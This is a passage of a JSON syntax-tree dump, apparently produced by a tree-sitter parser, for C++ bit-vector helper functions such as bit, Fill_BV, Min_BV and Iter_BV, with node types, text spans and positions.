"inline", "text": "inline", "parent": 285, "children": [], "start_point": {"row": 25, "column": 4}, "end_point": {"row": 25, "column": 10}}, {"id": 287, "type": "primitive_type", "text": "uint64_t", "parent": 284, "children": [], "start_point": {"row": 25, "column": 11}, "end_point": {"row": 25, "column": 19}}, {"id": 288, "type": "function_declarator", "text": "bit(unsigned p)", "parent": 284, "children": [289, 290], "start_point": {"row": 25, "column": 20}, "end_point": {"row": 25, "column": 35}}, {"id": 289, "type": "identifier", "text": "bit", "parent": 288, "children": [], "start_point": {"row": 25, "column": 20}, "end_point": {"row": 25, "column": 23}}, {"id": 290, "type": "parameter_list", "text": "(unsigned p)", "parent": 288, "children": [291], "start_point": {"row": 25, "column": 23}, "end_point": {"row": 25, "column": 35}}, {"id": 291, "type": "parameter_declaration", "text": "unsigned p", "parent": 290, "children": [292, 294], "start_point": {"row": 25, "column": 24}, "end_point": {"row": 25, "column": 34}}, {"id": 292, "type": "sized_type_specifier", "text": "unsigned", "parent": 291, "children": [293], "start_point": {"row": 25, "column": 24}, "end_point": {"row": 25, "column": 32}}, {"id": 293, "type": "unsigned", "text": "unsigned", "parent": 292, "children": [], "start_point": {"row": 25, "column": 24}, "end_point": {"row": 25, "column": 32}}, {"id": 294, "type": "identifier", "text": "p", "parent": 291, "children": [], "start_point": {"row": 25, "column": 33}, "end_point": {"row": 25, "column": 34}}, {"id": 295, "type": "return_statement", "text": "return 1ull << index(p);", "parent": 284, "children": [296], "start_point": {"row": 25, "column": 38}, "end_point": {"row": 25, "column": 62}}, {"id": 296, "type": "binary_expression", "text": "1ull << index(p)", "parent": 295, "children": [297, 298, 299], "start_point": {"row": 25, "column": 45}, "end_point": {"row": 25, "column": 61}}, {"id": 297, "type": "number_literal", "text": "1ull", "parent": 296, "children": [], "start_point": {"row": 25, "column": 45}, "end_point": {"row": 25, "column": 49}}, {"id": 298, "type": "<<", "text": "<<", "parent": 296, "children": [], "start_point": {"row": 25, "column": 50}, "end_point": {"row": 25, "column": 52}}, {"id": 299, "type": "call_expression", "text": "index(p)", "parent": 296, "children": [300, 301], "start_point": {"row": 25, "column": 53}, "end_point": {"row": 25, "column": 61}}, {"id": 300, "type": "identifier", "text": "index", "parent": 299, "children": [], "start_point": {"row": 25, "column": 53}, "end_point": {"row": 25, "column": 58}}, {"id": 301, "type": "argument_list", "text": "(p)", "parent": 299, "children": [302], "start_point": {"row": 25, "column": 58}, "end_point": {"row": 25, "column": 61}}, {"id": 302, "type": "identifier", "text": "p", "parent": 301, "children": [], "start_point": {"row": 25, "column": 59}, "end_point": {"row": 25, "column": 60}}, {"id": 303, "type": "function_definition", "text": "inline void Fill_BV(uint64_t* start, unsigned sz) {\n memset(start, -1, sizeof(uint64_t) * req_words(sz));\n if(bit(sz))\n start[block(sz)] &= bit(sz)-1;\n }", "parent": 159, "children": [304, 306, 307], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 31, "column": 5}}, {"id": 304, "type": "storage_class_specifier", "text": "inline", "parent": 303, "children": [305], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 10}}, {"id": 305, "type": "inline", "text": "inline", "parent": 304, "children": [], "start_point": {"row": 27, "column": 4}, "end_point": {"row": 27, "column": 10}}, {"id": 306, "type": "primitive_type", "text": "void", "parent": 303, "children": [], "start_point": {"row": 27, "column": 11}, "end_point": {"row": 27, "column": 15}}, {"id": 307, "type": "function_declarator", "text": "Fill_BV(uint64_t* start, unsigned sz)", "parent": 303, "children": [308, 309], "start_point": {"row": 27, "column": 16}, "end_point": {"row": 27, "column": 53}}, {"id": 308, "type": "identifier", "text": "Fill_BV", "parent": 307, "children": [], "start_point": {"row": 27, "column": 16}, "end_point": {"row": 27, "column": 23}}, {"id": 309, "type": "parameter_list", "text": "(uint64_t* start, unsigned sz)", "parent": 307, "children": [310, 315], "start_point": {"row": 27, "column": 23}, "end_point": {"row": 27, "column": 53}}, {"id": 310, "type": "parameter_declaration", "text": "uint64_t* start", "parent": 309, "children": [311, 312], "start_point": {"row": 27, "column": 24}, "end_point": {"row": 27, "column": 39}}, {"id": 311, "type": "primitive_type", "text": "uint64_t", "parent": 310, "children": [], "start_point": {"row": 27, "column": 24}, "end_point": {"row": 27, "column": 32}}, {"id": 312, "type": "pointer_declarator", "text": "* start", "parent": 310, "children": [313, 314], "start_point": {"row": 27, "column": 32}, "end_point": {"row": 27, "column": 39}}, {"id": 313, "type": "*", "text": "*", "parent": 312, "children": [], "start_point": {"row": 27, "column": 32}, "end_point": {"row": 27, "column": 33}}, {"id": 314, "type": "identifier", "text": "start", "parent": 312, "children": [], "start_point": {"row": 27, "column": 34}, "end_point": {"row": 27, "column": 39}}, {"id": 315, "type": "parameter_declaration", "text": "unsigned sz", "parent": 309, "children": [316, 318], "start_point": {"row": 27, "column": 41}, "end_point": {"row": 27, "column": 52}}, {"id": 316, "type": "sized_type_specifier", "text": "unsigned", "parent": 315, "children": [317], "start_point": {"row": 27, "column": 41}, "end_point": {"row": 27, "column": 49}}, {"id": 317, "type": "unsigned", "text": "unsigned", "parent": 316, "children": [], "start_point": {"row": 27, "column": 41}, "end_point": {"row": 27, "column": 49}}, {"id": 318, "type": "identifier", "text": "sz", "parent": 315, "children": [], "start_point": {"row": 27, "column": 50}, "end_point": {"row": 27, "column": 52}}, {"id": 319, "type": "call_expression", "text": "memset(start, -1, sizeof(uint64_t) * req_words(sz))", "parent": 303, "children": [320, 321], "start_point": {"row": 28, "column": 6}, "end_point": {"row": 28, "column": 57}}, {"id": 320, "type": "identifier", "text": "memset", "parent": 319, "children": [], "start_point": {"row": 28, "column": 6}, "end_point": {"row": 28, "column": 12}}, {"id": 321, "type": "argument_list", "text": "(start, -1, sizeof(uint64_t) * req_words(sz))", "parent": 319, "children": [322, 323, 324], "start_point": {"row": 28, "column": 12}, "end_point": {"row": 28, "column": 57}}, {"id": 322, "type": "identifier", "text": "start", "parent": 321, "children": [], "start_point": {"row": 28, "column": 13}, "end_point": {"row": 28, "column": 18}}, {"id": 323, "type": "number_literal", "text": "-1", "parent": 321, "children": [], "start_point": {"row": 28, "column": 20}, "end_point": {"row": 28, "column": 22}}, {"id": 324, "type": "binary_expression", "text": "sizeof(uint64_t) * req_words(sz)", "parent": 321, "children": [325, 328, 329], "start_point": {"row": 28, "column": 24}, "end_point": {"row": 28, "column": 56}}, {"id": 325, "type": "sizeof_expression", "text": "sizeof(uint64_t)", "parent": 324, "children": [326], "start_point": {"row": 28, "column": 24}, "end_point": {"row": 28, "column": 40}}, {"id": 326, "type": "type_descriptor", "text": "uint64_t", "parent": 325, "children": [327], "start_point": {"row": 28, "column": 31}, "end_point": {"row": 28, "column": 39}}, {"id": 327, "type": "primitive_type", "text": "uint64_t", "parent": 326, "children": [], "start_point": {"row": 28, "column": 31}, "end_point": {"row": 28, "column": 39}}, {"id": 328, "type": "*", "text": "*", "parent": 324, "children": [], "start_point": {"row": 28, "column": 41}, "end_point": {"row": 28, "column": 42}}, {"id": 329, "type": "call_expression", "text": "req_words(sz)", "parent": 324, "children": [330, 331], "start_point": {"row": 28, "column": 43}, "end_point": {"row": 28, "column": 56}}, {"id": 330, "type": "identifier", "text": "req_words", "parent": 329, "children": [], "start_point": {"row": 28, "column": 43}, "end_point": {"row": 28, "column": 52}}, {"id": 331, "type": "argument_list", "text": "(sz)", "parent": 329, "children": [332], "start_point": {"row": 28, "column": 52}, "end_point": {"row": 28, "column": 56}}, {"id": 332, "type": "identifier", "text": "sz", "parent": 331, "children": [], "start_point": {"row": 28, "column": 53}, "end_point": {"row": 28, "column": 55}}, {"id": 333, "type": "if_statement", "text": "if(bit(sz))\n start[block(sz)] &= bit(sz)-1;", "parent": 303, "children": [334], "start_point": {"row": 29, "column": 6}, "end_point": {"row": 30, "column": 38}}, {"id": 334, "type": "parenthesized_expression", "text": "(bit(sz))", "parent": 333, "children": [335], "start_point": {"row": 29, "column": 8}, "end_point": {"row": 29, "column": 17}}, {"id": 335, "type": "call_expression", "text": "bit(sz)", "parent": 334, "children": [336, 337], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 16}}, {"id": 336, "type": "identifier", "text": "bit", "parent": 335, "children": [], "start_point": {"row": 29, "column": 9}, "end_point": {"row": 29, "column": 12}}, {"id": 337, "type": "argument_list", "text": "(sz)", "parent": 335, "children": [338], "start_point": {"row": 29, "column": 12}, "end_point": {"row": 29, "column": 16}}, {"id": 338, "type": "identifier", "text": "sz", "parent": 337, "children": [], "start_point": {"row": 29, "column": 13}, "end_point": {"row": 29, "column": 15}}, {"id": 339, "type": "assignment_expression", "text": "start[block(sz)] &= bit(sz)-1", "parent": 333, "children": [340, 346, 347], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 37}}, {"id": 340, "type": "subscript_expression", "text": "start[block(sz)]", "parent": 339, "children": [341, 342], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 24}}, {"id": 341, "type": "identifier", "text": "start", "parent": 340, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 13}}, {"id": 342, "type": "call_expression", "text": "block(sz)", "parent": 340, "children": [343, 344], "start_point": {"row": 30, "column": 14}, "end_point": {"row": 30, "column": 23}}, {"id": 343, "type": "identifier", "text": "block", "parent": 342, "children": [], "start_point": {"row": 30, "column": 14}, "end_point": {"row": 30, "column": 19}}, {"id": 344, "type": "argument_list", "text": "(sz)", "parent": 342, "children": [345], "start_point": {"row": 30, "column": 19}, "end_point": {"row": 30, "column": 23}}, {"id": 345, "type": "identifier", "text": "sz", "parent": 344, "children": [], "start_point": {"row": 30, "column": 20}, "end_point": {"row": 30, "column": 22}}, {"id": 346, "type": "&=", "text": "&=", "parent": 339, "children": [], "start_point": {"row": 30, "column": 25}, "end_point": {"row": 30, "column": 27}}, {"id": 347, "type": "binary_expression", "text": "bit(sz)-1", "parent": 339, "children": [348, 352, 353], "start_point": {"row": 30, "column": 28}, "end_point": {"row": 30, "column": 37}}, {"id": 348, "type": "call_expression", "text": "bit(sz)", "parent": 347, "children": [349, 350], "start_point": {"row": 30, "column": 28}, "end_point": {"row": 30, "column": 35}}, {"id": 349, "type": "identifier", "text": "bit", "parent": 348, "children": [], "start_point": {"row": 30, "column": 28}, "end_point": {"row": 30, "column": 31}}, {"id": 350, "type": "argument_list", "text": "(sz)", "parent": 348, "children": [351], "start_point": {"row": 30, "column": 31}, "end_point": {"row": 30, "column": 35}}, {"id": 351, "type": "identifier", "text": "sz", "parent": 350, "children": [], "start_point": {"row": 30, "column": 32}, "end_point": {"row": 30, "column": 34}}, {"id": 352, "type": "-", "text": "-", "parent": 347, "children": [], "start_point": {"row": 30, "column": 35}, "end_point": {"row": 30, "column": 36}}, {"id": 353, "type": "number_literal", "text": "1", "parent": 347, "children": [], "start_point": {"row": 30, "column": 36}, "end_point": {"row": 30, "column": 37}}, {"id": 354, "type": "declaration", "text": "inline int Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start);", "parent": 159, "children": [355, 357, 358], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 38, "column": 44}}, {"id": 355, "type": "storage_class_specifier", "text": "inline", "parent": 354, "children": [356], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 10}}, {"id": 356, "type": "inline", "text": "inline", "parent": 355, "children": [], "start_point": {"row": 33, "column": 4}, "end_point": {"row": 33, "column": 10}}, {"id": 357, "type": "primitive_type", "text": "int", "parent": 354, "children": [], "start_point": {"row": 33, "column": 11}, "end_point": {"row": 33, "column": 14}}, {"id": 358, "type": "init_declarator", "text": "Min_BV(uint64_t* start, int base = 0) {\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start)", "parent": 354, "children": [359, 370, 371, 373], "start_point": {"row": 33, "column": 15}, "end_point": {"row": 38, "column": 43}}, {"id": 359, "type": "function_declarator", "text": "Min_BV(uint64_t* start, int base", "parent": 358, "children": [360, 361], "start_point": {"row": 33, "column": 15}, "end_point": {"row": 33, "column": 47}}, {"id": 360, "type": "identifier", "text": "Min_BV", "parent": 359, "children": [], "start_point": {"row": 33, "column": 15}, "end_point": {"row": 33, "column": 21}}, {"id": 361, "type": "parameter_list", "text": "(uint64_t* start, int base", "parent": 359, "children": [362, 367], "start_point": {"row": 33, "column": 21}, "end_point": {"row": 33, "column": 47}}, {"id": 362, "type": "parameter_declaration", "text": "uint64_t* start", "parent": 361, "children": [363, 364], "start_point": {"row": 33, "column": 22}, "end_point": {"row": 33, "column": 37}}, {"id": 363, "type": "primitive_type", "text": "uint64_t", "parent": 362, "children": [], "start_point": {"row": 33, "column": 22}, "end_point": {"row": 33, "column": 30}}, {"id": 364, "type": "pointer_declarator", "text": "* start", "parent": 362, "children": [365, 366], "start_point": {"row": 33, "column": 30}, "end_point": {"row": 33, "column": 37}}, {"id": 365, "type": "*", "text": "*", "parent": 364, "children": [], "start_point": {"row": 33, "column": 30}, "end_point": {"row": 33, "column": 31}}, {"id": 366, "type": "identifier", "text": "start", "parent": 364, "children": [], "start_point": {"row": 33, "column": 32}, "end_point": {"row": 33, "column": 37}}, {"id": 367, "type": "parameter_declaration", "text": "int base", "parent": 361, "children": [368, 369], "start_point": {"row": 33, "column": 39}, "end_point": {"row": 33, "column": 47}}, {"id": 368, "type": "primitive_type", "text": "int", "parent": 367, "children": [], "start_point": {"row": 33, "column": 39}, "end_point": {"row": 33, "column": 42}}, {"id": 369, "type": "identifier", "text": "base", "parent": 367, "children": [], "start_point": {"row": 33, "column": 43}, "end_point": {"row": 33, "column": 47}}, {"id": 370, "type": "=", "text": "=", "parent": 358, "children": [], "start_point": {"row": 33, "column": 48}, "end_point": {"row": 33, "column": 49}}, {"id": 371, "type": "ERROR", "text": "0)", "parent": 358, "children": [372], "start_point": {"row": 33, "column": 50}, "end_point": {"row": 33, "column": 52}}, {"id": 372, "type": "number_literal", "text": "0", "parent": 371, "children": [], "start_point": {"row": 33, "column": 50}, "end_point": {"row": 33, "column": 51}}, {"id": 373, "type": "initializer_list", "text": "{\n while(!*start) {\n ++start;\n base += 64;\n }\n return base + __builtin_ctzll(*start)", "parent": 358, "children": [374, 391], "start_point": {"row": 33, "column": 53}, "end_point": {"row": 38, "column": 43}}, {"id": 374, "type": "ERROR", "text": "while(!*start) {\n ++start;\n base += 64;\n }\n return", "parent": 373, "children": [375, 382], "start_point": {"row": 34, "column": 6}, "end_point": {"row": 38, "column": 12}}, {"id": 375, "type": "call_expression", "text": "while(!*start)", "parent": 374, "children": [376], "start_point": {"row": 34, "column": 6}, "end_point": {"row": 34, "column": 20}}, {"id": 376, "type": "argument_list", "text": "(!*start)", "parent": 375, "children": [377], "start_point": {"row": 34, "column": 11}, "end_point": {"row": 34, "column": 20}}, {"id": 377, "type": "unary_expression", "text": "!*start", "parent": 376, "children": [378, 379], "start_point": {"row": 34, "column": 12}, "end_point": {"row": 34, "column": 19}}, {"id": 378, "type": "!", "text": "!", "parent": 377, "children": [], "start_point": {"row": 34, "column": 12}, "end_point": {"row": 34, "column": 13}}, {"id": 379, "type": "pointer_expression", "text": "*start", "parent": 377, "children": [380, 381], "start_point": {"row": 34, "column": 13}, "end_point": {"row": 34, "column": 19}}, {"id": 380, "type": "*", "text": "*", "parent": 379, "children": [], "start_point": {"row": 34, "column": 13}, "end_point": {"row": 34, "column": 14}}, {"id": 381, "type": "identifier", "text": "start", "parent": 379, "children": [], "start_point": {"row": 34, "column": 14}, "end_point": {"row": 34, "column": 19}}, {"id": 382, "type": "initializer_list", "text": "{\n ++start;\n base += 64;\n }", "parent": 374, "children": [383, 387], "start_point": {"row": 34, "column": 21}, "end_point": {"row": 37, "column": 7}}, {"id": 383, "type": "ERROR", "text": "++start;", "parent": 382, "children": [384], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 16}}, {"id": 384, "type": "update_expression", "text": "++start", "parent": 383, "children": [385, 386], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 15}}, {"id": 385, "type": "++", "text": "++", "parent": 384, "children": [], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 10}}, {"id": 386, "type": "identifier", "text": "start", "parent": 384, "children": [], "start_point": {"row": 35, "column": 10}, "end_point": {"row": 35, "column": 15}}, {"id": 387, "type": "assignment_expression", "text": "base += 64", "parent": 382, "children": [388, 389, 390], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 18}}, {"id": 388, "type": "identifier", "text": "base", "parent": 387, "children": [], "start_point": {"row": 36, "column": 8}, "end_point": {"row": 36, "column": 12}}, {"id": 389, "type": "+=", "text": "+=", "parent": 387, "children": [], "start_point": {"row": 36, "column": 13}, "end_point": {"row": 36, "column": 15}}, {"id": 390, "type": "number_literal", "text": "64", "parent": 387, "children": [], "start_point": {"row": 36, "column": 16}, "end_point": {"row": 36, "column": 18}}, {"id": 391, "type": "binary_expression", "text": "base + __builtin_ctzll(*start)", "parent": 373, "children": [392, 393, 394], "start_point": {"row": 38, "column": 13}, "end_point": {"row": 38, "column": 43}}, {"id": 392, "type": "identifier", "text": "base", "parent": 391, "children": [], "start_point": {"row": 38, "column": 13}, "end_point": {"row": 38, "column": 17}}, {"id": 393, "type": "+", "text": "+", "parent": 391, "children": [], "start_point": {"row": 38, "column": 18}, "end_point": {"row": 38, "column": 19}}, {"id": 394, "type": "call_expression", "text": "__builtin_ctzll(*start)", "parent": 391, "children": [395, 396], "start_point": {"row": 38, "column": 20}, "end_point": {"row": 38, "column": 43}}, {"id": 395, "type": "identifier", "text": "__builtin_ctzll", "parent": 394, "children": [], "start_point": {"row": 38, "column": 20}, "end_point": {"row": 38, "column": 35}}, {"id": 396, "type": "argument_list", "text": "(*start)", "parent": 394, "children": [397], "start_point": {"row": 38, "column": 35}, "end_point": {"row": 38, "column": 43}}, {"id": 397, "type": "pointer_expression", "text": "*start", "parent": 396, "children": [398, 399], "start_point": {"row": 38, "column": 36}, "end_point": {"row": 38, "column": 42}}, {"id": 398, "type": "*", "text": "*", "parent": 397, "children": [], "start_point": {"row": 38, "column": 36}, "end_point": {"row": 38, "column": 37}}, {"id": 399, "type": "identifier", "text": "start", "parent": 397, "children": [], "start_point": {"row": 38, "column": 37}, "end_point": {"row": 38, "column": 42}}, {"id": 400, "type": "binary_expression", "text": "template<class F>\n inline", "parent": 12, "children": [401, 404, 406, 407], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 42, "column": 10}}, {"id": 401, "type": "binary_expression", "text": "template<class", "parent": 400, "children": [402, 403], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 41, "column": 18}}, {"id": 402, "type": "identifier", "text": "template", "parent": 401, "children": [], "start_point": {"row": 41, "column": 4}, "end_point": {"row": 41, "column": 12}}, {"id": 403, "type": "<", "text": "<", "parent": 401, "children": [], "start_point": {"row": 41, "column": 12}, "end_point": {"row": 41, "column": 13}}, {"id": 404, "type": "ERROR", "text": "F", "parent": 400, "children": [405], "start_point": {"row": 41, "column": 19}, "end_point": {"row": 41, "column": 20}}, {"id": 405, "type": "identifier", "text": "F", "parent": 404, "children": [], "start_point": {"row": 41, "column": 19}, "end_point": {"row": 41, "column": 20}}, {"id": 406, "type": ">", "text": ">", "parent": 400, "children": [], "start_point": {"row": 41, "column": 20}, "end_point": {"row": 41, "column": 21}}, {"id": 407, "type": "identifier", "text": "inline", "parent": 400, "children": [], "start_point": {"row": 42, "column": 4}, "end_point": {"row": 42, "column": 10}}, {"id": 408, "type": "declaration", "text": "void Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }", "parent": 12, "children": [409, 410], "start_point": {"row": 42, "column": 11}, "end_point": {"row": 52, "column": 5}}, {"id": 409, "type": "primitive_type", "text": "void", "parent": 408, "children": [], "start_point": {"row": 42, "column": 11}, "end_point": {"row": 42, "column": 15}}, {"id": 410, "type": "init_declarator", "text": "Iter_BV(uint64_t* b, uint64_t* e, F f, int base = 0) {\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }", "parent": 408, "children": [411, 430, 431, 433], "start_point": {"row": 42, "column": 16}, "end_point": {"row": 52, "column": 5}}, {"id": 411, "type": "function_declarator", "text": "Iter_BV(uint64_t* b, uint64_t* e, F f, int base", "parent": 410, "children": [412, 413], "start_point": {"row": 42, "column": 16}, "end_point": {"row": 42, "column": 63}}, {"id": 412, "type": "identifier", "text": "Iter_BV", "parent": 411, "children": [], "start_point": {"row": 42, "column": 16}, "end_point": {"row": 42, "column": 23}}, {"id": 413, "type": "parameter_list", "text": "(uint64_t* b, uint64_t* e, F f, int base", "parent": 411, "children": [414, 419, 424, 427], "start_point": {"row": 42, "column": 23}, "end_point": {"row": 42, "column": 63}}, {"id": 414, "type": "parameter_declaration", "text": "uint64_t* b", "parent": 413, "children": [415, 416], "start_point": {"row": 42, "column": 24}, "end_point": {"row": 42, "column": 35}}, {"id": 415, "type": "primitive_type", "text": "uint64_t", "parent": 414, "children": [], "start_point": {"row": 42, "column": 24}, "end_point": {"row": 42, "column": 32}}, {"id": 416, "type": "pointer_declarator", "text": "* b", "parent": 414, "children": [417, 418], "start_point": {"row": 42, "column": 32}, "end_point": {"row": 42, "column": 35}}, {"id": 417, "type": "*", "text": "*", "parent": 416, "children": [], "start_point": {"row": 42, "column": 32}, "end_point": {"row": 42, "column": 33}}, {"id": 418, "type": "identifier", "text": "b", "parent": 416, "children": [], "start_point": {"row": 42, "column": 34}, "end_point": {"row": 42, "column": 35}}, {"id": 419, "type": "parameter_declaration", "text": "uint64_t* e", "parent": 413, "children": [420, 421], "start_point": {"row": 42, "column": 37}, "end_point": {"row": 42, "column": 48}}, {"id": 420, "type": "primitive_type", "text": "uint64_t", "parent": 419, "children": [], "start_point": {"row": 42, "column": 37}, "end_point": {"row": 42, "column": 45}}, {"id": 421, "type": "pointer_declarator", "text": "* e", "parent": 419, "children": [422, 423], "start_point": {"row": 42, "column": 45}, "end_point": {"row": 42, "column": 48}}, {"id": 422, "type": "*", "text": "*", "parent": 421, "children": [], "start_point": {"row": 42, "column": 45}, "end_point": {"row": 42, "column": 46}}, {"id": 423, "type": "identifier", "text": "e", "parent": 421, "children": [], "start_point": {"row": 42, "column": 47}, "end_point": {"row": 42, "column": 48}}, {"id": 424, "type": "parameter_declaration", "text": "F f", "parent": 413, "children": [425, 426], "start_point": {"row": 42, "column": 50}, "end_point": {"row": 42, "column": 53}}, {"id": 425, "type": "type_identifier", "text": "F", "parent": 424, "children": [], "start_point": {"row": 42, "column": 50}, "end_point": {"row": 42, "column": 51}}, {"id": 426, "type": "identifier", "text": "f", "parent": 424, "children": [], "start_point": {"row": 42, "column": 52}, "end_point": {"row": 42, "column": 53}}, {"id": 427, "type": "parameter_declaration", "text": "int base", "parent": 413, "children": [428, 429], "start_point": {"row": 42, "column": 55}, "end_point": {"row": 42, "column": 63}}, {"id": 428, "type": "primitive_type", "text": "int", "parent": 427, "children": [], "start_point": {"row": 42, "column": 55}, "end_point": {"row": 42, "column": 58}}, {"id": 429, "type": "identifier", "text": "base", "parent": 427, "children": [], "start_point": {"row": 42, "column": 59}, "end_point": {"row": 42, "column": 63}}, {"id": 430, "type": "=", "text": "=", "parent": 410, "children": [], "start_point": {"row": 42, "column": 64}, "end_point": {"row": 42, "column": 65}}, {"id": 431, "type": "ERROR", "text": "0)", "parent": 410, "children": [432], "start_point": {"row": 42, "column": 66}, "end_point": {"row": 42, "column": 68}}, {"id": 432, "type": "number_literal", "text": "0", "parent": 431, "children": [], "start_point": {"row": 42, "column": 66}, "end_point": {"row": 42, "column": 67}}, {"id": 433, "type": "initializer_list", "text": "{\n for(; b != e; ++b) {\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }\n }", "parent": 410, "children": [434, 445], "start_point": {"row": 42, "column": 69}, "end_point": {"row": 52, "column": 5}}, {"id": 434, "type": "ERROR", "text": "for(; b != e; ++b)", "parent": 433, "children": [435], "start_point": {"row": 43, "column": 6}, "end_point": {"row": 43, "column": 24}}, {"id": 435, "type": "call_expression", "text": "for(; b != e; ++b)", "parent": 434, "children": [436], "start_point": {"row": 43, "column": 6}, "end_point": {"row": 43, "column": 24}}, {"id": 436, "type": "argument_list", "text": "(; b != e; ++b)", "parent": 435, "children": [437, 444], "start_point": {"row": 43, "column": 9}, "end_point": {"row": 43, "column": 24}}, {"id": 437, "type": "ERROR", "text": "; b != e; ++", "parent": 436, "children": [438], "start_point": {"row": 43, "column": 10}, "end_point": {"row": 43, "column": 22}}, {"id": 438, "type": "update_expression", "text": "b != e; ++", "parent": 437, "children": [439, 443], "start_point": {"row": 43, "column": 12}, "end_point": {"row": 43, "column": 22}}, {"id": 439, "type": "binary_expression", "text": "b != e", "parent": 438, "children": [440, 441, 442], "start_point": {"row": 43, "column": 12}, "end_point": {"row": 43, "column": 18}}, {"id": 440, "type": "identifier", "text": "b", "parent": 439, "children": [], "start_point": {"row": 43, "column": 12}, "end_point": {"row": 43, "column": 13}}, {"id": 441, "type": "!=", "text": "!=", "parent": 439, "children": [], "start_point": {"row": 43, "column": 14}, "end_point": {"row": 43, "column": 16}}, {"id": 442, "type": "identifier", "text": "e", "parent": 439, "children": [], "start_point": {"row": 43, "column": 17}, "end_point": {"row": 43, "column": 18}}, {"id": 443, "type": "++", "text": "++", "parent": 438, "children": [], "start_point": {"row": 43, "column": 20}, "end_point": {"row": 43, "column": 22}}, {"id": 444, "type": "identifier", "text": "b", "parent": 436, "children": [], "start_point": {"row": 43, "column": 22}, "end_point": {"row": 43, "column": 23}}, {"id": 445, "type": "initializer_list", "text": "{\n uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }\n base += 64;\n }", "parent": 433, "children": [446, 480], "start_point": {"row": 43, "column": 25}, "end_point": {"row": 51, "column": 7}}, {"id": 446, "type": "ERROR", "text": "uint64_t mask(*b);\n while(mask) {\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }", "parent": 445, "children": [447, 448, 454, 455], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 49, "column": 9}}, {"id": 447, "type": "identifier", "text": "uint64_t", "parent": 446, "children": [], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 16}}, {"id": 448, "type": "call_expression", "text": "mask(*b)", "parent": 446, "children": [449, 450], "start_point": {"row": 44, "column": 17}, "end_point": {"row": 44, "column": 25}}, {"id": 449, "type": "identifier", "text": "mask", "parent": 448, "children": [], "start_point": {"row": 44, "column": 17}, "end_point": {"row": 44, "column": 21}}, {"id": 450, "type": "argument_list", "text": "(*b)", "parent": 448, "children": [451], "start_point": {"row": 44, "column": 21}, "end_point": {"row": 44, "column": 25}}, {"id": 451, "type": "pointer_expression", "text": "*b", "parent": 450, "children": [452, 453], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 24}}, {"id": 452, "type": "*", "text": "*", "parent": 451, "children": [], "start_point": {"row": 44, "column": 22}, "end_point": {"row": 44, "column": 23}}, {"id": 453, "type": "identifier", "text": "b", "parent": 451, "children": [], "start_point": {"row": 44, "column": 23}, "end_point": {"row": 44, "column": 24}}, {"id": 454, "type": "identifier", "text": "mask", "parent": 446, "children": [], "start_point": {"row": 45, "column": 14}, "end_point": {"row": 45, "column": 18}}, {"id": 455, "type": "initializer_list", "text": "{\n unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);\n f(base + offset);\n }", "parent": 446, "children": [456, 473], "start_point": {"row": 45, "column": 20}, "end_point": {"row": 49, "column": 9}}, {"id": 456, "type": "ERROR", "text": "unsigned offset(__builtin_ctzll(mask));\n mask &= (mask-1);", "parent": 455, "children": [457, 458, 465], "start_point": {"row": 46, "column": 10}, "end_point": {"row": 47, "column": 27}}, {"id": 457, "type": "identifier", "text": "unsigned", "parent": 456, "children": [], "start_point": {"row": 46, "column": 10}, "end_point": {"row": 46, "column": 18}}, {"id": 458, "type": "call_expression", "text": "offset(__builtin_ctzll(mask))", "parent": 456, "children": [459, 460], "start_point": {"row": 46, "column": 19}, "end_point": {"row": 46, "column": 48}}, {"id": 459, "type": "identifier", "text": "offset", "parent": 458, "children": [], "start_point": {"row": 46, "column": 19}, "end_point": {"row": 46, "column": 25}}, {"id": 460, "type": "argument_list", "text": "(__builtin_ctzll(mask))", "parent": 458, "children": [461], "start_point": {"row": 46, "column": 25}, "end_point": {"row": 46, "column": 48}}, {"id": 461, "type": "call_expression", "text": "__builtin_ctzll(mask)", "parent": 460, "children": [462, 463], "start_point": {"row": 46, "column": 26}, "end_point": {"row": 46, "column": 47}}, {"id": 462, "type": "identifier", "text": "__builtin_ctzll", "parent": 461, "children": [], "start_point": {"row": 46, "column": 26}, "end_point": {"row": 46, "column": 41}}, {"id": 463, "type": "argument_list", "text": "(mask)", "parent": 461, "children": [464], "start_point": {"row": 46, "column": 41}, "end_point": {"row": 46, "column": 47}}, {"id": 464, "type": "identifier", "text": "mask", "parent": 463, "children": [], "start_point": {"row": 46, "column": 42}, "end_point": {"row": 46, "column": 46}}, {"id": 465, "type": "assignment_expression", "text": "mask &= (mask-1)", "parent": 456, "children": [466, 467, 468], "start_point": {"row": 47, "column": 10}, "end_point": {"row": 47, "column": 26}}, {"id": 466, "type": "identifier", "text": "mask", "parent": 465, "children": [], 